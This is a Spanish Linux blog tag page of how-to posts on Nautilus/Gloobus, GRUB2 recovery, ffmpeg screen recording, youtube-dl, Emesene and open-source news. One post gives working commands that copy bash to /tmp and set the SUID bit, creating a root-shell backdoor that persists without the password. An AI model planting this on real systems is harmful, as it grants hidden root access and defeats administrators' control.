Publicaciones Etiquetadas ‘Linux’

How To: Nautilus Elementary + Gloobus Preview

Nautilus Elementary

Nautilus Elementary es un Nautilus parchado para simplicidad, pensado originalmente para Ubuntu Karmic Koala dado que el panel original de Nautilus era muy grande y quitaba espacio a las cosas “importantes”.

En un principio fue mantenido por el proyecto Gloobus (Nautilus Simplified), pero luego abandonado y retomado (por el mismo desarrollador, ammonkey) como un proyecto separado.

Gloobus Preview

Gloobus Preview es parte del proyecto Gloobus (CoverGloobus, Gloobus Flow), y es una extensión de GNOME diseñada para habilitar una vista previa (preview) a pantalla completa de cualquier tipo de archivo/fichero.

Actualmente soporta:

Source: C++, JAVA, PHP, SH, PYTHON.
Imágenes: JPG, PSD, XCF, PNG, GIF, SVG, ICNS.
Documentos: PDF, CBR, CBZ, DOC, ODF, XLS, ODS, PPT, ODP.
Música: MP3, OGG, MP4, MIDI, WAV.
Vídeo: MPG, AVI, OGG, FLV, WVM, MKV.
Otros: Carpetas, Archivos de texto plano.

Instalar

Agregamos los PPA:

sudo add-apt-repository ppa:gloobus-dev/gloobus-preview
sudo add-apt-repository ppa:am-monkeyd/nautilus-elementary-ppa

Y finalmente instalamas/actualizamos:

sudo aptitude update
sudo aptitude install gloobus-preview && sudo aptitude safe-upgrade

Reiniciamos Nautilus

nautilus -q

Ahora para ver los preview simplemente apretamos espacio teniendo un Archivo/Carpeta seleccionados ;)

How To: Backdoor en Linux

Según Wikipedia un backdoor es:

En la informática, una puerta trasera (o en inglés backdoor), es una secuencia especial dentro del código de programación mediante la cual el programador puede acceder o escapar de un programa en caso de emergencia o contingencia en algún problema.
Estas puertas también pueden ser utilizadas para fines maliciosos y espionaje.
En este caso crearemos una puerta trasera que nos permita logearnos como root sin necesidad de tener la contraseña (aunque requeriremos tener acceso previo a la cuenta de root por lo menos una vez).
Lo primero que haremos será copiar una shell bash a algún otro directorio, en este caso usaremos /tmp:
cp -p /bin/bash /tmp
La opción -p permite copiar manteniendo los permisos/dueño originales del archivo.
Ahora, como root debemos dar el permiso SUID al bash que copiamos:
chmod u+s /tmp/bash
Y finalmente solamente necesitamos ejecutar nuestra copia de la bash:
/tmp/bash -p
La opción -p permite ejecutar bash sin cargar las variables de entorno del usuario que este ejecutandola.
Disclaimer: Este post es solo con propósitos educacionales :P.

HOW TO: Recuperar GRUB2

Recuperar Configuración

Si por x motivo hemos modificado el archivo de configuración de GRUB (/boot/grub/grub.cfg) y queremos que el sistema lo vuelva a autoconfigurar, simplemente debemos ir a la terminal y ejecutar:

sudo grub-mkconfig

Para que GRUB sea capaz de detectar otros sistemas operativos, tienes que tener instalado “os-prober” (este paquete viene instalado en la mayor parte de las distribuciones).

Modificar opciones de GRUB2

Si quieres modificar algunos de los valores por defecto de grub tienes que editar:

sudo nano /etc/default/grub

y luego correr:

sudo update-grub

NOTA: Hay que ser muy cuidadoso al editar cualquier archivo que pueda dañar tu sistema ;).

Reinstalar GRUB2

Para poder reinstalar grub2, al igual que en grub-legacy, necesitaremos de un Live-CD, en este caso, de Ubuntu.
Iniciamos el Live-CD, vamos a una consola y ejecutamos:

sudo fdisk -l

Este comando nos devolverá un listado de nuestras particiones. Debemos identificar y montar la partición donde se encuentra instalado nuestro sistema (o en la partición donde se encuentre nuestro /boot):

sudo mount /dev/sdxy /mnt

Donde:

x corresponde a la letra correspondiente al disco duro.
y corresponde al número correspondiente a la partición.

Ahora simplemente instalamos GRUB con el siguiente comando:

sudo grub-install –root-directory=/mnt/ /dev/sdx

Donde:

x nuevamente corresponde a la letra de nuestro disco duro.

Y listo, reiniciamos y deberiamos tener nuestro GRUB de vuelta ;).

Para mayor información pueden dirigirse a la pagina de GRUB.

HOW TO: Grabar tu escritorio usando FFMPEG

Simplemente escribimos el siguiente comando:

ffmpeg -f x11grab -s wxga -r 30 -i :0.0 -sameq out.mpg

Donde:

-f indica el formato.
-s indica la resolución, encuentre la que mejor se adecua a su monitor aquí.
-r indica la cantidad de fps.
-i indica el “archivo de entrada”, en este caso la pantalla.
-sameq indica que utilice la misma calidad de video que la fuente.

Para dejar de grabar, simplemente presiona CTRL+C en la terminal.

HOW TO: Descargar videos de Youtube desde la consola

Para descargar videos de la terminal utilizaremos la herramienta youtube-dl, que por cierto es utilizado por gran parte de herramientas gráficas, como PyTube.

sudo aptitude install youtube-dl

Para ver como instalarlo en Window$ ver aquí.

Una vez instalado se utiliza simplemente agregándole como parámetro el url del video:

youtube-dl http://www.youtube.com/watch?v=cG_nOIJ6hSw

Ahora, también tenemos un montón de otras opciones como:

-b para forzarlo a descargar con la mejor calidad posible

youtube-dl -b http://www.youtube.com/watch?v=cG_nOIJ6hSw

-o para darle un nombre diferente al archivo de salida.

youtube-dl http://www.youtube.com/watch?v=cG_nOIJ6hSw -o daniel.flv

Otra opción muy útil es la de login, para de esta forma poder descargar videos que piden confirmación de edad.

youtube-dl http://www.youtube.com/watch?v=cG_nOIJ6hSw -u $USUARIO -p $PASSWORD

Para otros tips en el uso de esta herramienta, pueden visitar su pagina oficial.

Kill Dash Nine!!

Por lo general no soy fanático del Rap, pero este vídeo ta wenisimo xD

HOWTO: Instalar la documentacion de Java en Ubuntu

Al intentar instalar la documentación de Java por me dio de apt:

sudo apt-get install sun-java6-doc

Obtenia el Siguiente error:

This package is an installer package, it does not actually contain the
JDK documentation. You will need to go download one of the
archives:

jdk-6-doc.zip jdk-6-doc-ja.zip

(choose the non-update version if this is the first installation).
Please visit

http://java.sun.com/javase/downloads/

now and download. The file should be owned by root.root and be copied
to /tmp.

[Press RETURN to try again, 'no' + RETURN to abort]

Para Solucionarlo:

  • Descargar jdk-6-doc.zip de aqui.
  • Darle permisos:

    chmod 755 jdk-6-doc.zip

  • Mover a /tmp:

    sudo mv jdk-6-doc.zip /tmp/jdk-6u10-docs.zip

  • Instalar el paquete nuevamente el paquete.

    sudo apt-get install sun-java6-doc

HOW TO: Instalar Emesene desde SVN

Emesene es un Clon libre del cliente de mensajería MSN Messenger, que tiene por finalidad ofrecer una interfaz más simple que la del cliente original.

Primero, necesitamos instalar las dependencias y Subversion (SVN):

# sudo apt-get install build-essential python2.5-dev subversion

Una vez han terminado de instalarse, debemos descargar Emesene:

$ svn co https://emesene.svn.sourceforge.net/svnroot/emesene/trunk/emesene/ DIRECTORIO/emesene

Donde DIRECTORIO es el directorio a donde se descargaran los paquetes. Por ejemplo: “/home/tuUsuario/emesene”

Ahora, nos dirigimos al directorio donde quedo emesene:

$ cd DIRECTORIO/emesene

Ahora instalamos:

$ python setup.py build

# sudo python setup.py install

Una vez instalado, lo podemos ejecutar:

$ ./emesene

Ahora, vamos a crear los accesos a emesene:

Enlace simbólico, para poder llamarlo desde la consola si es necesario:

# sudo ln -s DIRECTORIO/emesene/emesene /usr/bin/emesene

Siguiendo el mismo ejemplo de antes, DIRECTORIO seria “/home/tuUsuario/emesene/emesene”:

Ahora crearemos un acceso directo en nuestro menu “Aplicaciones/Internet”, para eso:

# sudo gedit /usr/share/applications/emesene.desktop

Archivo, donde copiaremos el siguiente texto, modificandolo segun los directorios que usamos a lo largo de la instalacion:

[Desktop Entry]
Encoding=UTF-8
Name=Emesene
Comment=Emesene Trunk
Exec=DIRECTORIO/emesene/emesene
Icon=DIRECTORIO/emesene/themes/default/userPanel.png
Categories=Application;Network;InstantMessaging;
Terminal=false
Type=Application

Finalmente ya podemos comenzar a chatear, teniendo en mente de que esta es una version inestable, por lo que si bien trae algunas mejoras, puede que haya uno que otro bug por ahi.

Wine 1.0 Liberado!


Luego de 15 años de constante desarrollo ha sido liberada la primera versión estable de Wine.

Wine is not an emulator, (en español, Wine no es un emulador), como anuncia su sigla recursiva, no es un emulador, sino que una implementación de la API de Windows para sistemas Unix.

Si bien la perfeccion no se ha alcanzado con esta version, el soporte de aplicaciones ha aumentado significativamente. Para una lista completa de las aplicaciones soportadas, pueden visitar la base de datos que pone a disposicion el equipo de Wine.

Fuente: Slashdot.org

Red Hat Spots

Hace algun tiempo Red hat subio unos cuantos videos publicitarios a su blog, de los cuales destacan estos tres:

Truth Happens

Desafia la ignorancia, lo ridiculo, la opocicion, la verdad ocurre. El Open Source continua revolucionando la industria. Todos los dias alguien al rededor del mundo elige una solucion propietaria restringida por patentes, copyrights y marcas registradas. Al mismo tiempo, alguien al rededor del mundo aprende del software libre y lo adopta, innovando, obligando a la tecnologia.


Inevitable

Despues de años de feroz competencia, Microsoft y Sun decidieron detener sus pleitos y dejar a un lado sus diferencias, Por que? La respuesta no sorprende a aquellos que conocen linux y el Open source. Hoy el consumidor esta a cargo. mira lo que ocurrio, la historia y el movimiento Open Source ayudaron a traernos a donde estamos ahora. Y por que el Open Source es inevitable porque permite al consumidor tomar control.


Choice

Imagina un mundo donde la tecnologia permite conectar naturaleza y elementos simples para crear sistemas complejos. Donde las elecciones se ven multiplicadas, y el sistema elije la mejor opcion. Mira este video y veras porque el Open Source permite elegir, elegir = libertad, libertad = poder.

Saludos!

Volver a arriba
 
FireStats icon Con la potencia de FireStats